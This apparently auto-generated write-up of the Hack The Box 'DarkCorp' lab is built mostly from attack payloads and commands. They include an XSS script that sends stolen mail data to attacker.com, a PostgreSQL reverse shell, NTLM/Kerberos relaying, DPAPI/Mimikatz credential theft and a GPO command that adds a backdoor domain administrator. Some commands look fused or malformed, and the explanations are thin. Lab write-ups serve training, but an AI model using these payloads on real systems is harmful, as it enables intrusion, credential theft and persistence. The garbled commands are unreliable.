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Introduction:
The Hack The Box “DarkCorp” machine presents a sophisticated attack simulation that traverses web application vulnerabilities, Active Directory misconfigurations, and privilege escalation techniques. This scenario demonstrates how attackers chain multiple vulnerabilities—from XSS to NTLM relay attacks and DPAPI exploitation—to compromise entire enterprise environments, providing invaluable insights for cybersecurity professionals.
Learning Objectives:
- Understand how to chain web vulnerabilities with AD attacks for lateral movement
- Master NTLM/Kerberos relaying techniques and their real-world applications
- Learn advanced DPAPI exploitation and GPO abuse for domain persistence
You Should Know:
1. RoundCube XSS Payload for Email Exfiltration
<script>
var emails = [];
$('.message_list tr').each(function() {
var subject = $(this).find('.subject').text();
var from = $(this).find('.from').text();
emails.push({from: from, subject: subject});
});
fetch('http://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(emails)
});
</script>
Step-by-step guide: This JavaScript payload extracts all email metadata from a RoundCube webmail interface when executed in the victim’s browser context. The script iterates through each message row, extracts sender and subject information, and exfiltrates the data to an attacker-controlled server via POST request. This demonstrates weaponized XSS beyond simple cookie theft.
2. PostgreSQL Command Execution with Filter Evasion
COPY cmd_exec FROM PROGRAM 'echo vulnerable > /tmp/test'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.2/4444 0>&1"'; SELECT FROM cmd_exec;
Step-by-step guide: When PostgreSQL superuser privileges are available, the COPY command with PROGRAM parameter enables OS command execution. The evasion technique involves using alternative quoting and nested bash shells to bypass simple command filters. This creates a reverse shell connection to the attacker’s machine.
3. RustHound Enumeration Command
./RustHound -d darkcorp.htb -u svc_sql -p 'Password123!' --zip
Step-by-step guide: RustHound collects Active Directory reconnaissance data more comprehensively than BloodHound Python ingestor, including certificate information. The command authenticates to the domain with compromised credentials, enumerates AD structure, and outputs the results in a compressed format for BloodHound ingestion.
4. NTLMRelayX for LDAP Attacks
python3 ntlmrelayx.py -t ldap://dc-01.darkcorp.htb --delegate-access --no-dump --no-da --no-acl --no-validate-privs -wh attacker-wpad
Step-by-step guide: This command configures NTLMRelayX to intercept authentication attempts and relay them to the domain controller’s LDAP service. The –delegate-access option enables resource-based constrained delegation attacks, while the WPAD server (-wh) helps capture authentication attempts from vulnerable clients.
5. Kerberos Relay with DNS Spoofing
python3 krbrelayx.py --krbsrc 10.10.10.10 --krbdst 10.10.10.1 --target DC-01.darkcorp.htb --attacker 10.10.14.2 --server 10.10.14.2 --domain darkcorp.htb --enctype all
Step-by-step guide: This advanced technique exploits Kerberos authentication relay by manipulating DNS records to make the target service believe the attacker controls the DC-01 host. The marshalling vulnerability truncates DNS names, allowing the attacker to obtain Kerberos tickets for privileged accounts.
6. DPAPI Master Key Extraction
python3 dpapick.py -o masterkey -p 'ScheduledTaskPassword' -f blob.bin -s system -k backupkey mimikatz dpapi::cred /in:"C:\Users\svc_web\AppData\Local\Microsoft\Credentials\"
Step-by-step guide: These commands extract DPAPI master keys using known passwords from scheduled tasks or credential manager. The first command uses DPAPIck to decrypt master key blobs, while Mimikatz extracts stored credentials from Windows credential manager for lateral movement.
7. PyGPOAbuse for GPO Persistence
python3 pygpoabuse.py darkcorp.htb/svc_gpo -hashes :a9fdfa038c4b75ebc76dc855dd74f0da -dc-ip 10.10.10.1 -gpo-id '12345678-1234-1234-1234-123456789012' -powershell -command 'net user backdoor Backdoor123! /add && net localgroup administrators backdoor /add'
Step-by-step guide: This command abuses GPO modification privileges to create a persistent backdoor administrator account. The attacker authenticates with NTLM hashes, modifies the specified GPO to execute a PowerShell payload that creates a new privileged account, establishing persistence in the domain.
What Undercode Say:
- Active Directory attack chains represent the most significant enterprise threat – DarkCorp demonstrates how multiple minor misconfigurations can be chained into complete domain compromise
- DPAPI exploitation is an underappreciated attack vector – The systematic extraction of stored credentials via scheduled tasks and credential manager highlights critical Windows security gaps
The DarkCorp machine exemplifies modern enterprise penetration testing methodology, where attackers don’t rely on single vulnerabilities but systematically chain techniques across different systems. The transition from web application attacks to AD compromise through NTLM relay, followed by DPAPI exploitation and GPO abuse, represents a realistic attack progression that many organizations remain unprepared to detect. Particularly noteworthy is the Kerberos relay technique that bypasses traditional NTLM relay protections, demonstrating how attackers continuously evolve to circumvent security controls. The machine emphasizes that comprehensive security requires hardening across all layers—from web applications to AD configuration and endpoint protection.
Prediction:
The techniques demonstrated in DarkCorp foreshadow increased automation of AD attack chains, where AI-assisted penetration testing tools will automatically identify and exploit misconfiguration sequences. We’ll see rise in “configuration drift attacks” targeting accumulated security gaps in enterprise environments, with attackers developing ML models to predict the most efficient attack paths through complex AD environments. Defenders must implement continuous security configuration validation and assume breach postures that limit lateral movement through micro-segmentation and strict application control policies.
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IT/Security Reporter URL:
Reported By: Ippsec Hackthebox – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
